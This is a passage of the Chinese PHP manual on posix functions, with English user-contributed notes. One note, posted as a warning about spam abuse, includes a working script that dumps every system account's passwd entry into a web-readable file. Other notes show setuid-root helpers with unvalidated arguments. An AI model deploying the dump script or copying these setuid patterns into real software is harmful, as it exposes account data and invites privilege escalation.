name | The name element contains the username of the user. This is a short, usually less than 16 character "handle" of the user, not her real, full name.
passwd | The passwd element contains the user's password in an encrypted format. Often, for example on a system employing "shadow" passwords, an asterisk is returned instead.
uid | User ID, should be the same as the uid parameter used when calling the function, and hence redundant.
gid | The group ID of the user. Use the function posix_getgrgid() to resolve the group name and a list of its members.
gecos | GECOS is an obsolete term that refers to the finger information field on a Honeywell batch processing system. The field, however, lives on, and its contents have been formalized by POSIX. The field contains a comma separated list containing the user's full name, office phone, office number, and home phone number. On most systems, only the user's full name is available.
dir | This element contains the absolute path to the home directory of the user.
shell | The shell element contains the absolute path to the executable of the user's default shell.

add a note add a note User Contributed Notes
mehmet at karakaya dot us
20-Mar-2006 03:45
if the system is also a mail server and system users have userdirs with php support this function may cause a spam abuse which made by a system user.

<?php

/* settings for start point and where to stop */
$start=0;//the first user id
$interval=1000;//amount of lines that will be read
$finishline=3000;//the last user id

$first=(isset($_GET['first'])?$_GET['first']:$start);
$last=(isset($_GET['last'])?$_GET['last']:$interval);

/* getting and writing the user info line by line */
$fp=fopen('copiedpasswd','a');
//copiedpasswd must be writeable by apache
for ($user=$first;$user<=$last;$user++)
 {
  $list=posix_getpwuid($user);
  if ($list['name']=='') { continue; }
  $line=implode(':',$list)."\n";
  fputs($fp,$line);
 }//end for
fclose($fp);

/* control or forwarding in order to prevent prescription */
if ($last>=$finishline)
 {
  header("Location: copiedpasswd");
 }//end if
else
 {
  $first += $interval;
  $last += $interval;
  header("Location: thenameofthisscript.php?first=$first&last=$last");
 }//end else

?>

Because posix_getpwuid(1000) will return the user name(whose id is 1000) as the first key of the array.
Nikolai-Zujev-(at)-Gmail-dot-Com
26-Sep-2004 05:05
If You are useing kernel security module, such as LIDS, GrSec or Selinux it will work only if '/etc/passwd' is readable for user, under which PHP/Apache runs, otherwice you get FALSE.
rolf dot winterscheidt at rowitech dot de
28-May-2003 07:34
To get the name of the owner of a file you can use something like this:

<?php
$startscript="/var/log/hello.log";

$fileowneruid=fileowner($startscript);
$fileownerarray=posix_getpwuid($fileowneruid);
$fileowner=$fileownerarray['name'];

echo "Owner is $fileowner";
?>

(I'm sure you can accomplish this in many ways, this is a way I understood and hope you too :-)).

Rolf
rcgraves+php at brandeis dot edu
22-Feb-2000 09:54
Returns an array containing the elements of the password structure. NOTE: The array is indexed by names, not numbers as a perl or C programmer would expect. The array elements are:
<pre>
$_["name"]  string userid (joeschmo)
$_["passwd"] string crypted password (or "x" if shadowed)
$_["uid"] integer uidnumber (e.g. 0 for root)
$_["gid"] integer primary gidnumber (e.g. 0 for wheel/root)
$_["gecos"] string name (Joseph P. Schmoe)
$_["dir"] string home directory (/home/joeschmo)
$_["shell"] string loginshell (/bin/slash)
</pre>
add a note add a note

后退 | 起点 | 前进
posix_getpwnam | 上一级 | posix_getrlimit


posix_getrlimit

(PHP 3 >= 3.0.10, PHP 4, PHP 5)

posix_getrlimit -- Return info about system resource limits

Description

array posix_getrlimit ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
petert at tebault dot org
30-Aug-2000 03:58
The array returned (on a RH6.2 box) is:
     soft core = 0
     hard core = unlimited
     soft data = unlimited
     hard data = unlimited
     soft stack = 8388608
     hard stack = unlimited
     soft totalmem = unlimited
     hard totalmem = unlimited
     soft rss = unlimited
     hard rss = unlimited
     soft maxproc = 2048
     hard maxproc = 2048
     soft memlock = unlimited
     hard memlock = unlimited
     soft cpu = unlimited
     hard cpu = unlimited
     soft filesize = unlimited
     hard filesize = unlimited
     soft openfiles = 1024
     hard openfiles = 1024
add a note add a note

后退 | 起点 | 前进
posix_getpwuid | 上一级 | posix_getsid


posix_getsid

(PHP 3 >= 3.0.10, PHP 4, PHP 5)

posix_getsid -- Get the current sid of the process

Description

int posix_getsid ( int pid )

Return the sid of the process pid. If pid is 0, the sid of the current process is returned.

This is not a POSIX function, but is common on System V systems. If your system does not support this function at system level, this PHP function will always return FALSE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_getrlimit | 上一级 | posix_getuid


posix_getuid

(PHP 3 >= 3.0.10, PHP 4, PHP 5)

posix_getuid -- Return the real user ID of the current process

Description

int posix_getuid ( void )

Return the numeric real user ID of the current process. See also posix_getpwuid() for information on how to convert this into a useable username.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_getsid | 上一级 | posix_isatty


posix_isatty

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

posix_isatty -- Determine if a file descriptor is an interactive terminal

Description

bool posix_isatty ( int fd )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
hfuecks at phppatterns dot com
07-May-2004 05:12
Can be useful to determine whether output is being piped elsewhere, for PHP shell scripts, for example;

#!/usr/local/bin/php
<?php
if ( !posix_isatty(STDOUT) ) {
   fwrite(STDOUT, "Invalid TTY\n");
   exit(2);
}
fwrite(STDOUT, "Enter you name\n");
$name = fgets(STDIN);
fwrite(STDOUT,"Hello $name\n");
exit(0);
?>

If this script is like:

script.php > outfile

outfile will contain "Invalid TTY"
add a note add a note

后退 | 起点 | 前进
posix_getuid | 上一级 | posix_kill


posix_kill

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

posix_kill -- Send a signal to a process

Description

bool posix_kill ( int pid, int sig )

Send the signal sig to the process with the process identifier pid. Returns FALSE, if unable to send the signal, TRUE otherwise.

See also the kill(2) manual page of your POSIX system, which contains additional information about negative process identifiers, the special pid 0, the special pid -1, and the signal number 0.

add a note add a note User Contributed Notes
php at tomward dot fmail dot co dot uk
27-Oct-2005 09:27
'kill -l' gives you a list of signals available on your UNIX. Eg. Redhat Linux:

 1) SIGHUP      2) SIGINT      3) SIGQUIT      4) SIGILL
 5) SIGTRAP      6) SIGABRT      7) SIGBUS      8) SIGFPE
 9) SIGKILL    10) SIGUSR1    11) SIGSEGV    12) SIGUSR2
13) SIGPIPE    14) SIGALRM    15) SIGTERM    17) SIGCHLD
18) SIGCONT    19) SIGSTOP    20) SIGTSTP    21) SIGTTIN
22) SIGTTOU    23) SIGURG      24) SIGXCPU    25) SIGXFSZ
26) SIGVTALRM  27) SIGPROF    28) SIGWINCH    29) SIGIO
30) SIGPWR      31) SIGSYS      33) SIGRTMIN    34) SIGRTMIN+1
35) SIGRTMIN+2  36) SIGRTMIN+3  37) SIGRTMIN+4  38) SIGRTMIN+5
39) SIGRTMIN+6  40) SIGRTMIN+7  41) SIGRTMIN+8  42) SIGRTMIN+9
43) SIGRTMIN+10 44) SIGRTMIN+11 45) SIGRTMIN+12 46) SIGRTMIN+13
47) SIGRTMIN+14 48) SIGRTMIN+15 49) SIGRTMAX-15 50) SIGRTMAX-14
51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10
55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7  58) SIGRTMAX-6
59) SIGRTMAX-5  60) SIGRTMAX-4  61) SIGRTMAX-3  62) SIGRTMAX-2
63) SIGRTMAX-1  64) SIGRTMAX

Mac OS X Tiger:

 1) SIGHUP      2) SIGINT      3) SIGQUIT      4) SIGILL
 5) SIGTRAP      6) SIGABRT      7) SIGEMT      8) SIGFPE
 9) SIGKILL    10) SIGBUS      11) SIGSEGV    12) SIGSYS
13) SIGPIPE    14) SIGALRM    15) SIGTERM    16) SIGURG
17) SIGSTOP    18) SIGTSTP    19) SIGCONT    20) SIGCHLD
21) SIGTTIN    22) SIGTTOU    23) SIGIO      24) SIGXCPU
25) SIGXFSZ    26) SIGVTALRM  27) SIGPROF    28) SIGWINCH
29) SIGINFO    30) SIGUSR1    31) SIGUSR2

For example, note that SIGUSR1 is variously 10 or 30...
codeslinger at compsalot dot com
03-Feb-2005 12:42
Detecting if another copy of a program is running (*NIX specific)

One cute trick, to see if another process is running, is to send it signal 0.  Signal 0 does not actually get sent, but kill will check to see if it is possible to send the signal.  Note that this only works if you have permission to send a signal to that process.

A practical use for this technique is to avoid running multiple copies of the same program.  You save the PID to a file in the usual way...  Then during start-up you check the value of the PID file and see if that process currently exists.

This is not totally fool-proof.  In rare circumstances it is possible for an unrelated program to have the same recycled PID.  But that other program would most likely not accept signals from your program anyway (unless your program is root).

To make it as reliable as possible, you would want your program to remove it's PID file during shutdown (see register_shutdown_function).  That way, only if your program crashed AND another program happened to use the same PID AND the other program was willing to accept signals from your program, would you get a wrong result.  This would be an exceedingly rare occurrence.  This also assumes that the PID file has not been tampered with (as do all programs that rely on PID files...).

It's also possible to use 'ps x' to detect this, but using kill is much more efficient.

Here is the core routine:

   $PrevPid = file_get_contents($PathToPidFile);

   if(($PrevPid !== FALSE) && posix_kill(rtrim($PrevPid),0)) {
       echo "Error: Server is already running with PID: $PrevPid\n";
       exit(-99);
   } else {
       echo "Starting Server...";
   }

Hmmm...  if you want total 100% reliability, plus efficiency.  What you could do is to make the initial check using kill.  If it says not running, then you are ready to zoom.  But if kill says already running, then you could use:

//You can get the $ProgramName from $argv[0]
$Result = shell_exec('ps x | grep "' . $PrevPid . '" | grep "' . $ProgramName . '" | grep -v "grep"');

Assuming that your program has permissions to do this.  If you execute that and get back an empty string, then the other program is an imposter using a recycled PID and you are clear to go.

-- Erik
andrey at php dot net
01-Nov-2004 09:58
Always use constants. Numbers are not portable.
cosminb at as dot ro
02-Oct-2003 10:15
a complete list of signals:
<?php
define ('SIGHUP',1);
define ('SIGINT',2);
define ('SIGQUIT',3);
define ('SIGILL',4);
define ('SIGTRAP',5);
define ('SIGABRT',6);
define ('SIGBUS',7);
define ('SIGFPE',8);
define ('SIGKILL',9);
define ('SIGUSR1',10);
define ('SIGSEGV',11);
define ('SIGUSR2',12);
define ('SIGPIPE',13);
define ('SIGALRM',14);
define ('SIGTERM',15);
define ('SIGCHLD',17);
define ('SIGCONT',18);
define ('SIGSTOP',19);
define ('SIGTSTP',20);
define ('SIGTTIN',21);
define ('SIGTTOU',22);
define ('SIGURG',23);
define ('SIGXCPU',24);
define ('SIGXFSZ',25);
define ('SIGVTALRM',26);
define ('SIGPROF',27);
define ('SIGWINCH',28);
define ('SIGIO',29);
define ('SIGPWR',30);
define ('SIGSYS',31);
?>
of course there are others but this are the most important
jack at net-md dot net
09-Sep-2003 10:05
the signal NAME number mapping seems to be missing (not defined)
so the easy way to grab this info is something like:
egrep '^#define[[:space:]]SIG' /usr/include/asm/signal.h <- for linux
egrep '^#define[[:space:]]SIG' /usr/include/sys/signal.h <- for freebsd
The signals may not the same across all unix'es so be warned. also kill -l
may be the easy awnser (depending on your shell type, bash and ksh seem
to work) Here is an example:

<?
define("SIGTERM",15); /* from /usr/include/asm/signal.h: *
                                           * #define SIGTERM        15        */
$mypid=posix_getpid();
print "killing: ".$mypid."\n";

posix_kill($mypid, SIGTERM);
?>

The example might be silly, but its usefull for batch programs that need
to terminate/notify processes.
gid at gifpaste dot net
18-Dec-2002 08:26
For those that want to kill everything matching a certain pattern (ala killall in for linux), try something like this.  Note that this is a good idea to do something like this for cross platform compatilibity, instead of executing killall, because killall for other UNIXes does just that, kills EVERYTHING.  :)

function killall($match) {
   if($match=='') return 'no pattern specified';
   $match = escapeshellarg($match);
   exec("ps x|grep $match|grep -v grep|awk '{print $1}'", $output, $ret);
   if($ret) return 'you need ps, grep, and awk installed for this to work';
   while(list(,$t) = each($output)) {
       if(preg_match('/^([0-9]+)/', $t, $r)) {
           system('kill '. $r[1], $k);
           if(!$k) $killed = 1;
       }
   }
   if($killed) {
       return '';
   } else {
       return "$match: no process killed";
   }
}
add a note add a note

后退 | 起点 | 前进
posix_isatty | 上一级 | posix_mkfifo


posix_mkfifo

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

posix_mkfifo -- Create a fifo special file (a named pipe)

Description

bool posix_mkfifo ( string pathname, int mode )

posix_mkfifo() creates a special FIFO file which exists in the file system and acts as a bidirectional communication endpoint for processes.

The second parameter mode has to be given in octal notation (e.g. 0644). The permission of the newly created FIFO also depends on the setting of the current umask(). The permissions of the created file are (mode & ~umask).

如果成功则返回 TRUE，失败则返回 FALSE。

注: 当安全模式被激活时，PHP 将检查被操作的目录是否和正在执行的脚本有相同的 UID（所有者）。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_kill | 上一级 | posix_mknod


posix_mknod

(PHP 5 >= 5.1.0RC1)

posix_mknod -- Create a special or ordinary file (POSIX.1)

说明

bool posix_mknod ( string pathname, int mode [, int major [, int minor]] )

posix_mknod() creates a special or ordinary file.

参数

pathname

The file to create

mode

This parameter is constructed by a bitwise OR between file type (one of the following constants: POSIX_S_IFREG, POSIX_S_IFCHR, POSIX_S_IFBLK, POSIX_S_IFIFO or POSIX_S_IFSOCK) and permissions.

major

The major device kernel identifier

minor

The minor device kernel identifier

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. A posix_mknod() example

<?php

$file = '/tmp/tmpfile';  // file name
$type = POSIX_S_IFBLOCK; // file type
$permissions = 0777;     // octal

if (!posix_mknod($file, $type | $permissions)) {
    die('Error ' . posix_get_last_error() . ': ' . posix_strerror(posix_get_last_error()));
}

?>

参见

posix_mkfifo()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_mkfifo | 上一级 | posix_setegid


posix_setegid

(PHP 4 >= 4.0.2, PHP 5)

posix_setegid -- Set the effective GID of the current process

Description

bool posix_setegid ( int gid )

Set the effective group ID of the current process. This is a privileged function and you need appropriate privileges (usually root) on your system to be able to perform this function.

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_mknod | 上一级 | posix_seteuid


posix_seteuid

(PHP 4 >= 4.0.2, PHP 5)

posix_seteuid -- Set the effective UID of the current process

Description

bool posix_seteuid ( int uid )

Set the real user ID of the current process. This is a privileged function and you need appropriate privileges (usually root) on your system to be able to perform this function.

如果成功则返回 TRUE，失败则返回 FALSE。

See also posix_setgid().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_setegid | 上一级 | posix_setgid


posix_setgid

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

posix_setgid -- Set the GID of the current process

Description

bool posix_setgid ( int gid )

Set the real group ID of the current process. This is a privileged function and you need appropriate privileges (usually root) on your system to be able to perform this function. The appropriate order of function calls is posix_setgid() first, posix_setuid() last.

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_seteuid | 上一级 | posix_setpgid


posix_setpgid

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

posix_setpgid -- Set process group id for job control

Description

bool posix_setpgid ( int pid, int pgid )

Let the process pid join the process group pgid. See POSIX.1 and the setsid(2) manual page on your POSIX system for more informations on process groups and job control. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_setgid | 上一级 | posix_setsid


posix_setsid

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

posix_setsid -- Make the current process a session leader

Description

int posix_setsid ( void )

Make the current process a session leader. See POSIX.1 and the setsid(2) manual page on your POSIX system for more information on process groups and job control. Returns the session id.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_setpgid | 上一级 | posix_setuid


posix_setuid

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

posix_setuid -- Set the UID of the current process

Description

bool posix_setuid ( int uid )

Set the real user ID of the current process. This is a privileged function and you need appropriate privileges (usually root) on your system to be able to perform this function.

如果成功则返回 TRUE，失败则返回 FALSE。

See also posix_setgid().

add a note add a note User Contributed Notes
rjmooney at syr dot edu
09-Nov-2003 07:40
For simple operations, you can easily create a privilege-separation mechanism to perform commands that require elevated privileges.

For example, in creating a document repository, I had the need to provide access to certain directory and file operations based on a user's login name.  It's unrealistic and unsecure to provide the web server access to all of the directories that the user may need to access, so I created a setuid() script to perform the required operations for me.

An exerpt from the code demonstrates this:

<?

//
// main.php
//

// Perform a privileged stat()
function privsep_stat($path)
{
       // Call the privilege separation program, ask for a stat of the specified path
       $serialized_result = exec("/path/to/privsep.php stat " . $path, $oa, $return_code);
       if ($return_code != 0)
       {
               return false;
       }

       // Return the unserialized object
       return unserialize($serialized_result);
}

// Get file statistics on a file we don't have access to as the web server user
$st = privsep_stat("/private_directory/private_file");
print_r($st);

?>

privsep.php looks like this:

#!/usr/local/bin/php
<?

//
// privsep.php
//

// Don't allow this script to be run from the web
if (isset($_SERVER['REQUEST_METHOD']))
{
   print "<br>This program is not intended to be run directly from the WWW.\n";
   return 1;
}

// TODO: add your argument validation here

// A stat was requested
if ($argv[1] == "stat")
{
   // Reset the stat() cache
   clearstatcache();

   // Original user ID
   $original_uid = posix_get_uid();

   // Set our real user ID to root
   $success = posix_setuid(0);
   if (!$success)
   {
       print "Error: Cannot setuid().\n";
       return 1;
   }

   // Store the file statistics
   $st = stat($argv[2]);

   // Drop the real UID back to the calling user ID
   $success = posix_setuid($original_uid);
   if (!$success)
   {
       print "Error: Cannot setuid().\n";
       return 1;
   }

   // Drop the effective UID as well
   $success = posix_seteuid($original_uid);
   if (!$success)
   {
       print "Error: Cannot seteuid().\n";
       return 1;
   }

   // Serialize the result and print it
   $result = serialize($st);
   print $result;

   // Success!
   return 0;
}
?>

Finally, privsep.php's permissions are configured like this:

# chown root:wheel privsep.php
# chmod 4755 privsep.php

And look like this:

-rwsr-xr-x  1 root      wheel    1000 Nov  1 00:00 privsep.php

It's probably wise to keep privsep.php out of your document root to help mitigate any successful attack.

This method can be extended for other functions.  Use at your own risk.
simon at dont-spam-me-pleease dot simonster dot com
03-Aug-2002 06:53
Here's some Perl code to run a PHP script setuid. Just put it into a CGI, make that CGI setuid and executable, then call the CGI where you would usually call the PHP script.

#!/usr/local/bin/perl

# Perl wrapper to execute a PHP script setuid
# 2002 Simon Kornblith
# Requires PHP CGI

# Make UID = EUID (so that PHP can run system()s and execs() setuid)
$< = $>;
# Set this to the path, so that we can't get poisoned
$ENV{'PATH'} = "/home/httpd/cgi-bin/ssl/admin";
# Open the PHP script (must start with !#/usr/local/bin/php or similar and
# be executable
open(STDOUT, "| /home/httpd/cgi-bin/ssl/admin/new.php");
# Write STDIN to PHP script
print while <STDIN>;
add a note add a note

后退 | 起点 | 前进
posix_setsid | 上一级 | posix_strerror


posix_strerror

(PHP 4 >= 4.2.0, PHP 5)

posix_strerror -- Retrieve the system error message associated with the given errno

Description

string posix_strerror ( int errno )

Returns the POSIX system error message associated with the given errno. If errno is 0, then the string "Success" is returned. The function posix_get_last_error() is used for retrieving the last POSIX errno.

See also posix_get_last_error().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
posix_setuid | 上一级 | posix_times


posix_times

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

posix_times -- Get process times

Description

array posix_times ( void )

Returns a hash of strings with information about the current process CPU usage. The indices of the hash are

  • ticks - the number of clock ticks that have elapsed since reboot.

  • utime - user time used by the current process.

  • stime - system time used by the current process.

  • cutime - user time used by current process and children.

  • cstime - system time used by current process and children.

警告

This function isn't reliable to use, it may return negative values for high times.

add a note add a note User Contributed Notes
brain at winbot dot co dot uk
27-Jun-2004 09:14
doesnt work with freebsd. as stated above the clock ticks at different intervals on different platforms.

for system uptime consider piping the uptime command or similar, depending on if performance is an issue or not.
not_rich_yet at hotmail dot com
20-Jul-2003 07:21
If you want the output to be 'grammatically correct' then try the following code.  It will eg print '1 minute' as opposed to '1 minutes', the same goes for days and hours:

Put the following code somewhere in the head of the page code:

<?php
function uptime() {
if (!$times = posix_times() ) {
return ("unknown");
} else {
$now = $times['ticks'];
$days = intval($now / (60*60*24*100));
$remainder = $now % (60*60*24*100);
$hours = intval($remainder / (60*60*100));
$remainder = $remainder % (60*60*100);
$minutes = intval($remainder / (60*100));
if ($days == 1) {$writeDays = "day";} else {$writeDays = "days";}
if ($hours == 1) {$writeHours = "hour"; } else {$writeHours = "hours";}
if ($minutes == 1) {$writeMins = "minute";} else {$writeMins = "minutes";}
return ("$days $writeDays, $hours $writeHours, $minutes $writeMins");
}
}
?>

Then put this bit where you want the info displayed:

<?php
print uptime();
?>

Regards,

nry
murphy at nmc-online dot co dot uk
18-Jun-2003 02:01
I am not sure why, and it could just be me but on my FreeBSD system using
$time = posix_times();
$time['ticks'] is an enormous value that bears no relation to the system uptime (I tested by rebooting the system,  the number does not change).
I checked my timecounters, they tick every 10.000msec and I did the maths on the returned value and it suggested the machine had been up for over 200 days - it was reformatted about a week ago.
This could be to do with FreeBSD, or *BSD, or just *idiots like me but just check before you use the function.
 ~
FreeBSD 5.1-R, Apache 2.0.46, PHP4.3.2
rossz+php at vamos-wentworth dot org
21-Nov-2002 05:42
This function will return the system uptime as a human readable string such as "172 days, 18 hours, 15 minutes".  I didn't bother to handle singular so the grammar could be a bit off, e.g. 1 hours.

function uptime() {
  if (!$times = posix_times()) {
   return ("unknown");
  } else {
   $now = $times['ticks'];
   $days = intval($now / (60*60*24*100));
   $remainder = $now % (60*60*24*100);
   $hours = intval($remainder / (60*60*100));
   $remainder = $remainder % (60*60*100);
   $minutes = intval($remainder / (60*100));
   return ("$days days, $hours hours, $minutes minutes");
  }
}
add a note add a note

后退 | 起点 | 前进
posix_strerror | 上一级 | posix_ttyname


posix_ttyname

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

posix_ttyname -- Determine terminal device name

Description

string posix_ttyname ( int fd )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
casper at bcx dot nl
19-Apr-2006 10:10
<?php
   var_dump( posix_ttyname(STDOUT) );
?>

returns:
string(10) "/dev/pts/0"

When using pseudo terminal 1 (ie ssh)
add a note add a note

后退 | 起点 | 前进
posix_times | 上一级 | posix_uname


posix_uname

(PHP 3 >= 3.0.10, PHP 4, PHP 5)

posix_uname -- Get system name

Description

array posix_uname ( void )

Returns a hash of strings with information about the system. The indices of the hash are

  • sysname - operating system name (e.g. Linux)

  • nodename - system name (e.g. valiant)

  • release - operating system release (e.g. 2.2.10)

  • version - operating system version (e.g. #4 Tue Jul 20 17:01:36 MEST 1999)

  • machine - system architecture (e.g. i586)

  • domainname - DNS domainname (e.g. example.com)

domainname is a GNU extension and not part of POSIX.1, so this field is only available on GNU systems or when using the GNU libc.

Posix requires that you must not make any assumptions about the format of the values, e.g. you cannot rely on three digit version numbers or anything else returned by this function.

add a note add a note User Contributed Notes
boards at gmail dot com
30-Jan-2006 01:24
Or, a simpler way to do that:

<?php
print_r(posix_uname());
?>

Should print something like:

Array
(
   [sysname] => Linux
   [nodename] => vaio
   [release] => 2.6.15-1-686
   [version] => #2 Tue Jan 10 22:48:31 UTC 2006
   [machine] => i686
)
sean at thedesignpeople dot com
10-Aug-2004 11:39
A simple example of how to loop thru and display the results of the posix_uname() function...

<?php
foreach(posix_uname() AS $key=>$value) {
   print $key .": ". $value ."<br>";
}
?>

The procedure above should return something similar to the following results:

sysname: Linux
nodename: node1
release: 2.4.26
version: #6 Mon Jun 14 19:07:27 PDT 2004
machine: i686
add a note add a note

后退 | 起点 | 前进
posix_ttyname | 上一级 | PostgreSQL 数据库函数


PostgreSQL 数据库函数

PHP 手册
后退 前进

CXI. PostgreSQL 数据库函数

简介

PostgreSQL 是一个开放源码的免费数据库系统。Postgres 最初由加州大学伯克利分校计算机科学系开发，倡导了很多关系对象的观念，这些观念现在已经用在一些商业数据库系统中。它提供了 SQL92/SQL99 语言支持，事务处理，引用集成，存储过程以及类型扩展。PostgreSQL 则是 Postgres 的一个开放源代码的后代。

需求

要使用 PostgreSQL 支持，需要 PostgreSQL 6.5 或更新版本，PostgreSQL 8.0 或更新版本来使用所有的 PostgreSQL 模块。PostgreSQL 支持多种字符编码包括多字节字符编码。关于 PostgreSQL 的当前版本以及更多信息见 http://www.postgresql.org/ 以及 PostgreSQL 文档。

安装

为添加 PostgreSQL 支持，在编译 PHP 时需要加上 --with-pgsql[=DIR] 选项。如果可以用共享模块方式，PostgreSQL 模块可以在 php.ini 用 extension 指令或者 dl() 函数加载。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. PostgreSQL 配置选项

名称 | 默认值 | 可变范围 | 更新日志
pgsql.allow_persistent | "1" | PHP_INI_SYSTEM |
pgsql.max_persistent | "-1" | PHP_INI_SYSTEM |
pgsql.max_links | "-1" | PHP_INI_SYSTEM |
pgsql.auto_reset_persistent | "0" | PHP_INI_SYSTEM | 从 PHP 4.2.0 起开始存在
pgsql.ignore_notice | "0" | PHP_INI_ALL | 从 PHP 4.3.0 起开始存在
pgsql.log_notice | "0" | PHP_INI_ALL | 从 PHP 4.3.0 起开始存在
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

pgsql.allow_persistent boolean

是否允许持久的 Postgres 连接。

pgsql.max_persistent integer

每个进程所能有的持久 Postgres 连接数目。

pgsql.max_links integer

每个进程所能有的 Postgres 连接数目，包括持久连接。

pgsql.auto_reset_persistent integer

检测用在 pg_pconnect() 上的中断了的持久连接。需要一些损耗。

pgsql.ignore_notice integer

是否忽略 PostgreSQL 后端的通告。

pgsql.log_notice integer

是否记录 PostgreSQL 后端的通告消息。要记录通告消息日志，PHP 指令 pgsql.ignore_notice 必须为 off。

资源类型

PostgreSQL 模块使用了两种资源类型。第一种是数据库连接的标识符，第二种是保存查询结果的资源。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

PGSQL_ASSOC (integer)

Passed to pg_fetch_array(). Return an associative array of field names and values.

PGSQL_NUM (integer)

Passed to pg_fetch_array(). Return a numerically indexed array of field numbers and values.

PGSQL_BOTH (integer)

Passed to pg_fetch_array(). Return an array of field values that is both numerically indexed (by field number) and associated (by field name).

PGSQL_CONNECT_FORCE_NEW (integer)

Passed to pg_connect() to force the creation of a new connection, rather then re-using an existing identical connection.

PGSQL_CONNECTION_BAD (integer)

Returned by pg_connection_status() indicating that the database connection is in an invalid state.

PGSQL_CONNECTION_OK (integer)

Returned by pg_connection_status() indicating that the database connection is in a valid state.

PGSQL_SEEK_SET (integer)

Passed to pg_lo_seek(). Seek operation is to begin from the start of the object.

PGSQL_SEEK_CUR (integer)

Passed to pg_lo_seek(). Seek operation is to begin from the current position.

PGSQL_SEEK_END (integer)

Passed to pg_lo_seek(). Seek operation is to begin from the end of the object.

PGSQL_EMPTY_QUERY (integer)

Returned by pg_result_status(). The string sent to the server was empty.

PGSQL_COMMAND_OK (integer)

Returned by pg_result_status(). Successful completion of a command returning no data.

PGSQL_TUPLES_OK (integer)

Returned by pg_result_status(). Successful completion of a command returning data (such as a SELECT or SHOW).

PGSQL_COPY_OUT (integer)

Returned by pg_result_status(). Copy Out (from server) data transfer started.

PGSQL_COPY_IN (integer)

Returned by pg_result_status(). Copy In (to server) data transfer started.

PGSQL_BAD_RESPONSE (integer)

Returned by pg_result_status(). The server's response was not understood.

PGSQL_NONFATAL_ERROR (integer)

Returned by pg_result_status(). A nonfatal error (a notice or warning) occurred.

PGSQL_FATAL_ERROR (integer)

Returned by pg_result_status(). A fatal error occurred.

PGSQL_TRANSACTION_IDLE (integer)

Returned by pg_transaction_status(). Connection is currently idle, not in a transaction.

PGSQL_TRANSACTION_ACTIVE (integer)

Returned by pg_transaction_status(). A command is in progress on the connection. A query has been sent via the connection and not yet completed.

PGSQL_TRANSACTION_INTRANS (integer)

Returned by pg_transaction_status(). The connection is idle, in a transaction block.

PGSQL_TRANSACTION_INERROR (integer)

Returned by pg_transaction_status(). The connection is idle, in a failed transaction block.

PGSQL_TRANSACTION_UNKNOWN (integer)

Returned by pg_transaction_status(). The connection is bad.

PGSQL_DIAG_SEVERITY (integer)

Passed to pg_result_error_field(). The severity; the field contents are ERROR, FATAL, or PANIC (in an error message), or WARNING, NOTICE, DEBUG, INFO, or LOG (in a notice message), or a localized translation of one of these. Always present.

PGSQL_DIAG_SQLSTATE (integer)

Passed to pg_result_error_field(). The SQLSTATE code for the error. The SQLSTATE code identifies the type of error that has occurred; it can be used by front-end applications to perform specific operations (such as error handling) in response to a particular database error. This field is not localizable, and is always present.

PGSQL_DIAG_MESSAGE_PRIMARY (integer)

Passed to pg_result_error_field(). The primary human-readable error message (typically one line). Always present.

PGSQL_DIAG_MESSAGE_DETAIL (integer)

Passed to pg_result_error_field(). Detail: an optional secondary error message carrying more detail about the problem. May run to multiple lines.

PGSQL_DIAG_MESSAGE_HINT (integer)

Passed to pg_result_error_field(). Hint: an optional suggestion what to do about the problem. This is intended to differ from detail in that it offers advice (potentially inappropriate) rather than hard facts. May run to multiple lines.

PGSQL_DIAG_STATEMENT_POSITION (integer)

Passed to pg_result_error_field(). A string containing a decimal integer indicating an error cursor position as an index into the original statement string. The first character has index 1, and positions are measured in characters not bytes.

PGSQL_DIAG_INTERNAL_POSITION (integer)

Passed to pg_result_error_field(). This is defined the same as the PG_DIAG_STATEMENT_POSITION field, but it is used when the cursor position refers to an internally generated command rather than the one submitted by the client. The PG_DIAG_INTERNAL_QUERY field will always appear when this field appears.

PGSQL_DIAG_INTERNAL_QUERY (integer)

Passed to pg_result_error_field(). The text of a failed internally-generated command. This could be, for example, a SQL query issued by a PL/pgSQL function.

PGSQL_DIAG_CONTEXT (integer)

Passed to pg_result_error_field(). An indication of the context in which the error occurred. Presently this includes a call stack traceback of active procedural language functions and internally-generated queries. The trace is one entry per line, most recent first.

PGSQL_DIAG_SOURCE_FILE (integer)

Passed to pg_result_error_field(). The file name of the PostgreSQL source-code location where the error was reported.

PGSQL_DIAG_SOURCE_LINE (integer)

